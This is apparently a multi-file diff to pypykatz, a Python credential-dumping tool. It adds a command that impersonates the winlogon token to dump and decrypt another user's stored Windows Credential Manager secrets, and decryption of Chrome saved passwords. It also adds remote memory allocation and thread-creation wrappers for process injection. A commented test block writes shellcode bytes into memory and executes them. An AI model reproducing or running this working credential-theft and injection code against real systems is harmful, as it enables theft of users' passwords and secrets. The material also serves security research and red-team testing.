381 | """ | |
382 | ||
383 | ||
384 | data = calc.read(140705499119616, 0x100) | |
385 | print(data) | |
386 | new_addr = calc.page_alloc(0x1000) | |
387 | print(new_addr) | |
388 | data = calc.read(new_addr, 0x100) | |
389 | print(data) | |
390 | data = calc.write(new_addr, b'HELLO WORLD!') | |
391 | print(data) | |
392 | data = calc.read(new_addr, 0x100) | |
393 | print(data) | |
394 | x = calc.page_change_protect(new_addr, flags = PAGE_EXECUTE_READ) | |
395 | print(x) | |
396 | try: | |
397 | data = calc.write(new_addr, b'A'*20) | |
398 | print(data) | |
399 | except: | |
400 | print('Error but it is expected') | |
401 | calc.page_change_protect(new_addr) | |
402 | data = calc.write(new_addr, b'A'*20) | |
403 | print(data) | |
404 | data = calc.read(new_addr, 0x100) | |
405 | print(data) | |
406 | ||
407 | calc.page_free(new_addr) | |
408 | ################################################################################### | |
409 | msgbox = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" +\ | |
410 | b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" + \ | |
411 | b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" + \ | |
412 | b"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" +\ | |
413 | b"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"+\ | |
414 | b"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"+\ | |
415 | b"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"+\ | |
416 | b"\x49\x0b\x31\xc0\x51\x50\xff\xd7" | |
417 | ||
418 | new_addr = calc.page_alloc(0x1000) | |
419 | print(hex(new_addr)) | |
420 | data = calc.write(new_addr, msgbox) | |
421 | print(data) | |
422 | ||
423 | data = calc.read(new_addr, 0x100) | |
424 | print(data) | |
425 | ||
426 | calc.create_thread(new_addr) | |
427 | ||
428 | ||
429 | #calc.page_free(new_addr) | |
430 | """ | |
431 | #unprotectmemory_addr = calc.get_remote_function_addr("Crypt32.dll", "CryptUnprotectMemory") | |
432 | #print('unprotectmemory_addr %s' % hex(unprotectmemory_addr)) | |
433 | #exitthread_addr = calc.get_remote_function_addr("Kernel32.dll", "ExitThread") | |
434 | #print('exitthread_addr %s' % hex(exitthread_addr)) | |
435 | #copymemory_addr = calc.get_remote_function_addr("Kernel32.dll", "CopyMemory") | |
436 | #print('copymemory_addr %s' % hex(exitthread_addr)) | |
437 | #cave = calc.page_alloc(0x1000) | |
438 | #print('enclave : %s' % hex(cave)) | |
439 | #input() | |
440 | #calc.invoke_remote_function(cave, unprotectmemory_addr, 0x0000019DE0535440, 64, 0, exitthread_addr) | |
441 | calc.dpapi_memory_unprotect(0x0000027E24B918B0, 64, same_process = 0) | |
442 |
0 | 0 | import logging |
1 | 1 | from typing import List |
2 | 2 | |
3 | from volatility.framework import interfaces, constants, exceptions, symbols | |
4 | from volatility.framework import renderers | |
5 | from volatility.framework.configuration import requirements | |
6 | from volatility.framework.objects import utility | |
7 | from volatility.framework.symbols import intermed | |
8 | from volatility.framework.symbols.windows import extensions | |
9 | from volatility.framework.layers.scanners import MultiStringScanner | |
10 | from volatility.plugins.windows import pslist, vadinfo⏎ | |
3 | from volatility3.framework import interfaces, constants, exceptions, symbols | |
4 | from volatility3.framework import renderers | |
5 | from volatility3.framework.configuration import requirements | |
6 | from volatility3.framework.objects import utility | |
7 | from volatility3.framework.symbols import intermed | |
8 | from volatility3.framework.symbols.windows import extensions | |
9 | from volatility3.framework.layers.scanners import MultiStringScanner | |
10 | from volatility3.plugins.windows import pslist, vadinfo |
5 | 5 | |
6 | 6 | PROCESS_QUERY_INFORMATION = 0x0400 |
7 | 7 | PROCESS_VM_READ = 0x0010 |
8 | PROCESS_VM_WRITE = 0x0020 | |
9 | PROCESS_VM_OPERATION = 0x0008 | |
10 | PROCESS_CREATE_THREAD = 0x0002 | |
8 | 11 | |
9 | 12 | # Standard access rights |
10 | 13 | DELETE = 0x00010000 |
0 | 0 | |
1 | 1 | import ctypes |
2 | 2 | from pypykatz.commons.winapi.constants import * |
3 | from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY | |
3 | from pypykatz.commons.winapi.local.function_defs.advapi32 import RevertToSelf, LookupPrivilegeValueW, OpenProcessToken, \ | |
4 | GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, \ | |
5 | SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY, OpenSCManagerW, SC_MANAGER_ALL_ACCESS, \ | |
6 | SERVICE_DRIVER, SERVICE_WIN32, SERVICE_STATE_ALL, EnumServicesStatusW, EnumServicesStatusExW, SC_ENUM_PROCESS_INFO | |
4 | 7 | from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW |
5 | 8 | |
6 | 9 | |
76 | 79 | @staticmethod |
77 | 80 | def RevertToSelf(): |
78 | 81 | return RevertToSelf() |
79 | ⏎ | |
82 | ||
83 | @staticmethod | |
84 | def OpenSCManager(dwDesiredAccess = SC_MANAGER_ALL_ACCESS): | |
85 | return OpenSCManagerW(dwDesiredAccess = dwDesiredAccess) | |
86 | ||
87 | @staticmethod | |
88 | def EnumServicesStatus(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL): | |
89 | return EnumServicesStatusW(hSCManager, dwServiceType = dwServiceType, dwServiceState = dwServiceState) | |
90 | ||
91 | @staticmethod | |
92 | def EnumServicesStatusEx(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None): | |
93 | return EnumServicesStatusExW(hSCManager, InfoLevel = InfoLevel, dwServiceType = dwServiceType, dwServiceState = dwServiceState, pszGroupName = pszGroupName)⏎ |
2821 | 2821 | _OpenSCManagerW.restype = SC_HANDLE |
2822 | 2822 | _OpenSCManagerW.errcheck = RaiseIfZero |
2823 | 2823 | |
2824 | hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess) | |
2825 | return ServiceControlManagerHANDLE(hSCObject) | |
2824 | hSCObject = _OpenSCManagerW(lpMachineName, lpDatabaseName, dwDesiredAccess) | |
2825 | return hSCObject | |
2826 | 2826 | |
2827 | 2827 | OpenSCManager = GuessStringType(OpenSCManagerA, OpenSCManagerW) |
2828 | 2828 | |
3199 | 3199 | while GetLastError() == ERROR_MORE_DATA: |
3200 | 3200 | if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSW): |
3201 | 3201 | break |
3202 | ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value) | |
3202 | ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value) | |
3203 | 3203 | success = _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE)) |
3204 | 3204 | if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value): |
3205 | 3205 | raise ctypes.WinError() |
3206 | 3206 | lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW) |
3207 | 3207 | for index in range(0, ServicesReturned.value): |
3208 | Services.append( ServiceStatusEntry(lpServicesArray[index]) ) | |
3208 | Services.append( lpServicesArray[index]) | |
3209 | 3209 | if success: break |
3210 | 3210 | if not success: |
3211 | 3211 | raise ctypes.WinError() |
3251 | 3251 | if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSA) * ServicesReturned.value): |
3252 | 3252 | raise ctypes.WinError() |
3253 | 3253 | lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSA) |
3254 | for index in xrange(0, ServicesReturned.value): | |
3254 | for index in range(0, ServicesReturned.value): | |
3255 | 3255 | Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) ) |
3256 | 3256 | if success: break |
3257 | 3257 | if not success: |
3278 | 3278 | while GetLastError() == ERROR_MORE_DATA: |
3279 | 3279 | if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSW): |
3280 | 3280 | break |
3281 | ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value) | |
3281 | ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value) | |
3282 | 3282 | success = _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName) |
3283 | 3283 | if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSW) * ServicesReturned.value): |
3284 | 3284 | raise ctypes.WinError() |
3285 | 3285 | lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSW) |
3286 | for index in xrange(0, ServicesReturned.value): | |
3287 | Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) ) | |
3286 | for index in range(0, ServicesReturned.value): | |
3287 | Services.append( lpServicesArray[index]) | |
3288 | 3288 | if success: break |
3289 | 3289 | if not success: |
3290 | 3290 | raise ctypes.WinError() |
3326 | 3326 | |
3327 | 3327 | _RevertToSelf() |
3328 | 3328 | |
3329 | def CredBackupCredentials(token, path, password = None, flags = 0): | |
3330 | _CredBackupCredentials = windll.advapi32.CredBackupCredentials | |
3331 | _CredBackupCredentials.argtypes = [HANDLE, LPWSTR, PVOID, DWORD, DWORD] | |
3332 | _CredBackupCredentials.restype = bool | |
3333 | ||
3334 | ppath = ctypes.create_unicode_buffer(path) | |
3335 | ||
3336 | ppassword = None | |
3337 | ppasswordlen = DWORD(0) | |
3338 | if password is not None: | |
3339 | ppassword = ctypes.create_string_buffer(password.encode('utf-16-le')) | |
3340 | ppasswordlen = DWORD(len(password.encode('utf-16-le'))) | |
3341 | ||
3342 | success = _CredBackupCredentials(token, ppath, ppassword, ppasswordlen, flags) | |
3343 | ||
3344 | if not success: | |
3345 | raise ctypes.WinError() | |
3346 | ||
3347 | return success | |
3348 | ||
3349 | ||
3329 | 3350 | #============================================================================== |
3330 | 3351 | # This calculates the list of exported symbols. |
3331 | 3352 | _all = set(vars().keys()).difference(_all) |
3332 | 3353 | __all__ = [_x for _x in _all if not _x.startswith('_')] |
3333 | 3354 | __all__.sort() |
3334 | #==============================================================================⏎ | |
3355 | #============================================================================== |
618 | 618 | ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST), |
619 | 619 | ] |
620 | 620 | LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW) |
621 | ||
622 | ||
623 | ||
624 | # BOOL WINAPI VirtualProtectEx( | |
625 | # __in HANDLE hProcess, | |
626 | # __in LPVOID lpAddress, | |
627 | # __in SIZE_T dwSize, | |
628 | # __in DWORD flNewProtect, | |
629 | # __out PDWORD lpflOldProtect | |
630 | # ); | |
631 | def VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect = PAGE_EXECUTE_READWRITE): | |
632 | _VirtualProtectEx = windll.kernel32.VirtualProtectEx | |
633 | _VirtualProtectEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, PDWORD] | |
634 | _VirtualProtectEx.restype = bool | |
635 | _VirtualProtectEx.errcheck = RaiseIfZero | |
636 | ||
637 | flOldProtect = DWORD(0) | |
638 | _VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect, byref(flOldProtect)) | |
639 | return flOldProtect.value | |
640 | ||
641 | # BOOL WINAPI VirtualFreeEx( | |
642 | # __in HANDLE hProcess, | |
643 | # __in LPVOID lpAddress, | |
644 | # __in SIZE_T dwSize, | |
645 | # __in DWORD dwFreeType | |
646 | # ); | |
647 | def VirtualFreeEx(hProcess, lpAddress, dwSize = 0, dwFreeType = MEM_RELEASE): | |
648 | _VirtualFreeEx = windll.kernel32.VirtualFreeEx | |
649 | _VirtualFreeEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD] | |
650 | _VirtualFreeEx.restype = bool | |
651 | _VirtualFreeEx.errcheck = RaiseIfZero | |
652 | _VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType) | |
653 | ||
654 | # LPVOID WINAPI VirtualAllocEx( | |
655 | # __in HANDLE hProcess, | |
656 | # __in_opt LPVOID lpAddress, | |
657 | # __in SIZE_T dwSize, | |
658 | # __in DWORD flAllocationType, | |
659 | # __in DWORD flProtect | |
660 | # ); | |
661 | def VirtualAllocEx(hProcess, lpAddress = 0, dwSize = 0x1000, flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE): | |
662 | _VirtualAllocEx = windll.kernel32.VirtualAllocEx | |
663 | _VirtualAllocEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, DWORD] | |
664 | _VirtualAllocEx.restype = LPVOID | |
665 | ||
666 | lpAddress = _VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect) | |
667 | if lpAddress == NULL: | |
668 | raise ctypes.WinError() | |
669 | return lpAddress | |
670 | ||
671 | ||
672 | # HANDLE WINAPI CreateRemoteThread( | |
673 | # __in HANDLE hProcess, | |
674 | # __in LPSECURITY_ATTRIBUTES lpThreadAttributes, | |
675 | # __in SIZE_T dwStackSize, | |
676 | # __in LPTHREAD_START_ROUTINE lpStartAddress, | |
677 | # __in LPVOID lpParameter, | |
678 | # __in DWORD dwCreationFlags, | |
679 | # __out LPDWORD lpThreadId | |
680 | # ); | |
681 | def CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags): | |
682 | _CreateRemoteThread = windll.kernel32.CreateRemoteThread | |
683 | _CreateRemoteThread.argtypes = [HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPVOID, LPVOID, DWORD, LPDWORD] | |
684 | _CreateRemoteThread.restype = HANDLE | |
685 | ||
686 | if not lpThreadAttributes: | |
687 | lpThreadAttributes = None | |
688 | else: | |
689 | lpThreadAttributes = byref(lpThreadAttributes) | |
690 | dwThreadId = DWORD(0) | |
691 | hThread = _CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, byref(dwThreadId)) | |
692 | if not hThread: | |
693 | raise ctypes.WinError() | |
694 | return hThread, dwThreadId.value | |
695 | ||
696 | def GetProcAddressW(hModule, lpProcName): | |
697 | _GetProcAddress = windll.kernel32.GetProcAddress | |
698 | _GetProcAddress.argtypes = [HMODULE, LPVOID] | |
699 | _GetProcAddress.restype = LPVOID | |
700 | ||
701 | if type(lpProcName) in (type(0), type(0)): | |
702 | lpProcName = LPVOID(lpProcName) | |
703 | if lpProcName.value & (~0xFFFF): | |
704 | raise ValueError('Ordinal number too large: %d' % lpProcName.value) | |
705 | elif type(lpProcName) == type(""): | |
706 | lpProcName = ctypes.create_string_buffer(lpProcName.encode('ascii')) | |
707 | elif type(lpProcName) == type(b""): | |
708 | lpProcName = ctypes.c_char_p(lpProcName) | |
709 | else: | |
710 | raise TypeError(str(type(lpProcName))) | |
711 | return _GetProcAddress(hModule, lpProcName) | |
712 | ||
713 | ||
714 | def LoadLibraryW(pszLibrary): | |
715 | _LoadLibraryW = windll.kernel32.LoadLibraryW | |
716 | _LoadLibraryW.argtypes = [LPWSTR] | |
717 | _LoadLibraryW.restype = HMODULE | |
718 | hModule = _LoadLibraryW(pszLibrary) | |
719 | if hModule == NULL: | |
720 | raise ctypes.WinError() | |
721 | return hModule⏎ |
9 | 9 | from pypykatz.commons.winapi.local.localwindowsapi import LocalWindowsAPI |
10 | 10 | from pypykatz.commons.winapi.constants import * |
11 | 11 | from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive |
12 | from pypykatz.commons.winapi.local.function_defs.advapi32 import SC_MANAGER_ENUMERATE_SERVICE | |
12 | 13 | |
13 | 14 | class User: |
14 | 15 | def __init__(self, name, domain, sid): |
60 | 61 | name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid) |
61 | 62 | users[sid_str] = User(name, domain, sid_str) |
62 | 63 | return users |
64 | ||
65 | #def list_services(self): | |
66 | # logger.debug('Listing services...') | |
67 | # hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) | |
68 | # for serviceattr in self.api.advapi32.EnumServicesStatus(hsrvmgr): | |
69 | # print(serviceattr.lpServiceName) | |
70 | # print(serviceattr.lpDisplayName) | |
71 | # print(serviceattr.ServiceStatus.dwServiceType) | |
72 | # | |
73 | # | |
74 | # status = '' | |
75 | # if serviceattr.ServiceStatus.dwCurrentState == SERVICE_CONTINUE_PENDING: | |
76 | # status = 'PENDING' | |
77 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSE_PENDING: | |
78 | # status = 'PENDINGPAUSE' | |
79 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSED: | |
80 | # status = 'PAUSED' | |
81 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_RUNNING: | |
82 | # status = 'RUNNING' | |
83 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_START_PENDING: | |
84 | # status = 'PENDINGSTART' | |
85 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOP_PENDING: | |
86 | # status = 'PENDINGSTOP' | |
87 | # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOPPED: | |
88 | # status = 'STOPPED' | |
89 | # | |
90 | # print(status) | |
91 | ||
92 | def list_services_pid(self): | |
93 | logger.debug('Listing services with pid...') | |
94 | hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) | |
95 | for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr): | |
96 | if serviceattr.ServiceStatusProcess.dwProcessId == 0: | |
97 | continue | |
98 | yield serviceattr.ServiceStatusProcess.dwProcessId | |
99 | ||
100 | def list_services(self): | |
101 | logger.debug('Listing services with pid...') | |
102 | hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE) | |
103 | for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr): | |
104 | if serviceattr.ServiceStatusProcess.dwProcessId == 0: | |
105 | continue | |
106 | yield serviceattr.lpServiceName, serviceattr.lpDisplayName, serviceattr.ServiceStatusProcess.dwProcessId | |
107 | ||
108 | def list_all_pids(self): | |
109 | for pid in self.api.psapi.EnumProcesses(): | |
110 | if pid == 0: | |
111 | continue | |
112 | yield pid | |
63 | 113 | |
64 | 114 | if __name__ == '__main__': |
65 | 115 | u = LiveMachine() |
66 | t = u.list_users() | |
67 | for sid in t: | |
68 | print(str(t[sid])) | |
69 | t = u.get_current_user() | |
70 | print(str(t))⏎ | |
116 | t = u.list_services() | |
117 | ||
118 | #for srv in t: | |
119 | # print(str(t[sid])) | |
120 | #t = u.get_current_user() | |
121 | #print(str(t))⏎ |
44 | 44 | live_wifi_parser = live_dpapi_subparsers.add_parser('wifi', help = '[ADMIN ONLY] Decrypt stored WIFI passwords') |
45 | 45 | live_chrome_parser = live_dpapi_subparsers.add_parser('chrome', help = '[ADMIN ONLY] !TAKES SUPER-LONG! Decrypt all chrome passwords for all users (admin) or for the current user.') |
46 | 46 | |
47 | live_tcap_parser = live_dpapi_subparsers.add_parser('tcap', help = '[ADMIN ONLY] Obtains users stored DPAPI creds via SeTrustedCredmanAccessPrivilege') | |
48 | live_tcap_parser.add_argument('targetpid', type=int, help= 'PID of the process of the target user.') | |
49 | live_tcap_parser.add_argument('--source', default = 'winlogon.exe', help= 'A process that has SeTrustedCredmanAccessPrivilege') | |
50 | live_tcap_parser.add_argument('--tempfile', help= 'PID of the process of the target user') | |
51 | live_tcap_parser.add_argument('-o', '--outfile', help= 'Output file name') | |
47 | 52 | |
48 | 53 | live_parser.add_parser('dpapi', help='DPAPI (live) related commands. This will use winAPI to decrypt secrets using the current user context.', parents=[live_subcommand_parser]) |
49 | 54 | |
143 | 148 | dpapi.get_prekeys_from_password(args.sid, password = pw) |
144 | 149 | |
145 | 150 | elif args.prekey_command == 'nt': |
146 | if args.nt is None or args.sid is None: | |
151 | if args.nthash is None or args.sid is None: | |
147 | 152 | raise Exception('NT hash and SID must be specified for generating prekey in this mode') |
148 | 153 | |
149 | dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt) | |
154 | dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nthash) | |
150 | 155 | |
151 | 156 | |
152 | 157 | dpapi.dump_pre_keys(args.out_file) |
158 | 163 | |
159 | 164 | dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) |
160 | 165 | dpapi.dump_masterkeys(args.out_file) |
161 | dpapi.dump_pre_keys(args.out_file + '_prekeys') | |
166 | if args.out_file is not None: | |
167 | dpapi.dump_pre_keys(args.out_file + '_prekeys') | |
168 | else: | |
169 | dpapi.dump_pre_keys() | |
162 | 170 | |
163 | 171 | |
164 | 172 | elif args.dapi_module == 'masterkey': |
165 | if args.key is None and args.prekey is None: | |
173 | if args.prekey is None: | |
166 | 174 | raise Exception('Etieher KEY or path to prekey file must be supplied!') |
167 | 175 | |
168 | if args.prekey: | |
169 | dpapi.load_prekeys(args.prekey) | |
170 | dpapi.decrypt_masterkey_file(args.mkf) | |
171 | ||
172 | if args.key: | |
173 | dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key)) | |
176 | dpapi.load_prekeys(args.prekey) | |
177 | dpapi.decrypt_masterkey_file(args.masterkeyfile) | |
174 | 178 | |
175 | 179 | if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: |
176 | 180 | print('Failed to decrypt the masterkeyfile!') |
222 | 226 | dpapi.load_masterkeys(args.mkf) |
223 | 227 | |
224 | 228 | try: |
225 | bytes.fromhex(args.securestring) | |
229 | bytes.fromhex(args.blob) | |
226 | 230 | except Exception as e: |
227 | 231 | print('Error! %s' %e) |
228 | dec_sec = dpapi.decrypt_securestring_file(args.securestring) | |
229 | else: | |
230 | dec_sec = dpapi.decrypt_securestring_hex(args.securestring) | |
232 | dec_sec = dpapi.decrypt_securestring_file(args.blob) | |
233 | else: | |
234 | dec_sec = dpapi.decrypt_securestring_hex(args.blob) | |
231 | 235 | |
232 | 236 | print('HEX: %s' % dec_sec.hex()) |
233 | 237 | print('STR: %s' % dec_sec.decode('utf-16-le')) |
237 | 241 | def run_live(self, args): |
238 | 242 | if platform.system().lower() != 'windows': |
239 | 243 | raise Exception('Live commands only work on Windows!') |
244 | ||
245 | if args.livedpapicommand == 'tcap': | |
246 | from pypykatz.dpapi.extras import dpapi_trustedcredman | |
247 | ||
248 | rawdata, creds, err = dpapi_trustedcredman(args.targetpid, args.source, args.tempfile) | |
249 | if err is not None: | |
250 | print(err) | |
251 | return | |
252 | ||
253 | if args.outfile is not None: | |
254 | with open(args.outfile, 'w') as f: | |
255 | for cred in creds: | |
256 | f.write(cred.to_text() + '\r\n') | |
257 | else: | |
258 | for cred in creds: | |
259 | print(cred.to_text()) | |
260 | return | |
240 | 261 | |
241 | 262 | from pypykatz.dpapi.dpapi import DPAPI |
242 | 263 | dpapi = DPAPI(use_winapi=True) |
111 | 111 | f.write(x.hex() + '\r\n') |
112 | 112 | |
113 | 113 | def load_prekeys(self, filename): |
114 | with open(filename, 'r') as f: | |
115 | for line in f: | |
116 | line = line.strip() | |
117 | self.prekeys[bytes.fromhex(line)] = 1 | |
114 | try: | |
115 | open(filename, 'r') | |
116 | except Exception as e: | |
117 | key = bytes.fromhex(filename) | |
118 | self.prekeys[key] = 1 | |
119 | return | |
120 | else: | |
121 | with open(filename, 'r') as f: | |
122 | for line in f: | |
123 | line = line.strip() | |
124 | self.prekeys[bytes.fromhex(line)] = 1 | |
118 | 125 | |
119 | 126 | def dump_masterkeys(self, filename = None): |
120 | 127 | if filename is None: |
346 | 353 | returns: touple of dictionaries. [0] - > masterkey[guid] = key, [1] - > backupkey[guid] = key |
347 | 354 | """ |
348 | 355 | mkf = MasterKeyFile.from_bytes(data) |
349 | ||
350 | 356 | mks = {} |
351 | 357 | bks = {} |
352 | 358 | if mkf.masterkey is not None: |
682 | 688 | encrypted_key = json.load(f)['os_crypt']['encrypted_key'] |
683 | 689 | encrypted_key = base64.b64decode(encrypted_key) |
684 | 690 | |
685 | localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:]) | |
686 | ||
691 | try: | |
692 | localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:]) | |
693 | except: | |
694 | # this localstate was encrypted for another user... | |
695 | continue | |
687 | 696 | if 'cookies' in dbpaths[username]: |
688 | 697 | secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies']) |
689 | 698 | for host_key, name, path, encrypted_value in secrets['cookies']: |
701 | 710 | if 'logindata' in dbpaths[username]: |
702 | 711 | secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata']) |
703 | 712 | for url, user, enc_password in secrets['logins']: |
704 | password = self.decrypt_blob_bytes(enc_password) | |
705 | results['logins'].append((dbpaths[username]['logindata'], url, user, password )) | |
713 | if enc_password.startswith(b'v10'): | |
714 | nonce = enc_password[3:3+12] | |
715 | ciphertext = enc_password[3+12:-16] | |
716 | tag = enc_password[-16:] | |
717 | cipher = AES_GCM(localstate_dec) | |
718 | password = cipher.decrypt(nonce, ciphertext, tag, auth_data=b'') | |
719 | results['logins'].append((dbpaths[username]['logindata'], url, user, password)) | |
720 | ||
721 | else: | |
722 | password = self.decrypt_blob_bytes(enc_password) | |
723 | results['logins'].append((dbpaths[username]['logindata'], url, user, password )) | |
706 | 724 | |
707 | 725 | |
708 | 726 | return results |
0 | # Thank you! | |
1 | # https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html | |
2 | ||
3 | import tempfile | |
4 | import os | |
5 | ||
6 | from pypykatz import logger | |
7 | from pypykatz.commons.winapi.local.function_defs.advapi32 import CredBackupCredentials | |
8 | from pypykatz.commons.readers.local.process import Process, PROCESS_QUERY_LIMITED_INFORMATION | |
9 | from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege, RtlAdjustPrivilege | |
10 | from pypykatz.commons.winapi.local.function_defs.advapi32 import SetThreadToken | |
11 | from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData | |
12 | from pypykatz.dpapi.structures.credentialfile import CREDENTIAL_BLOB, CredentialFile | |
13 | ||
14 | ||
15 | def dpapi_trustedcredman(target_pid, special_process = 'winlogon.exe', temp_file_path = None): | |
16 | dec_data = None | |
17 | try: | |
18 | if temp_file_path is None: | |
19 | tf = tempfile.NamedTemporaryFile(delete=False) | |
20 | temp_file_path = tf.name | |
21 | logger.debug('Temp file path: %s' % temp_file_path) | |
22 | tf.close() | |
23 | ||
24 | enable_debug_privilege() | |
25 | ||
26 | ### opening winlogon and duplicating token, impersonating it, enabling SeTrustedCredmanAccessPrivilege | |
27 | pwinlogon = Process(name = special_process, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True) | |
28 | winlogon_token = pwinlogon.duplicate_token() | |
29 | SetThreadToken(winlogon_token) | |
30 | RtlAdjustPrivilege(31, thread_or_process=True) #SeTrustedCredmanAccessPrivilege = 31 | |
31 | ||
32 | ||
33 | ### opening target process, getting handle on its token | |
34 | puserprocess = Process(pid=target_pid, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True) | |
35 | puserprocess_token = puserprocess.get_process_token() | |
36 | ||
37 | ### magic happens here | |
38 | CredBackupCredentials(puserprocess_token, temp_file_path) | |
39 | ||
40 | ### opening encrypted cerentials file and decrypting it | |
41 | with open(temp_file_path, 'rb') as f: | |
42 | dec_data = CryptUnprotectData(f.read()) | |
43 | ||
44 | ||
45 | ### parsing decrypted credfile | |
46 | results = [] | |
47 | xf = CredentialFile.from_bytes(dec_data) | |
48 | blobsdata = xf.data | |
49 | if xf.unk == 2: | |
50 | res = CREDENTIAL_BLOB.from_bytes(blobsdata) | |
51 | results.append(res) | |
52 | blobsdata = blobsdata[res.size:] | |
53 | while len(blobsdata) > 0: | |
54 | res = CREDENTIAL_BLOB.from_bytes(blobsdata) | |
55 | results.append(res) | |
56 | blobsdata = blobsdata[res.size:] | |
57 | ||
58 | return dec_data, results, None | |
59 | except Exception as e: | |
60 | logger.debug('dpapi_trustedcredman err! %s' % e) | |
61 | return dec_data, None, e | |
62 | finally: | |
63 | try: | |
64 | os.unlink(temp_file_path) | |
65 | logger.debug('Temp file removed') | |
66 | except Exception as e: | |
67 | logger.debug('Failed to remove temp file! %s' % str(e)) | |
68 | pass⏎ |
89 | 89 | else: |
90 | 90 | t += '%s: %s \r\n' % (k, str(self.__dict__[k])) |
91 | 91 | return t |
92 | ||
93 | ||
92 | ||
93 | class CREDBLOBTYPE(enum.Enum): | |
94 | UNKNOWN = 0 | |
95 | GENERIC = 1 | |
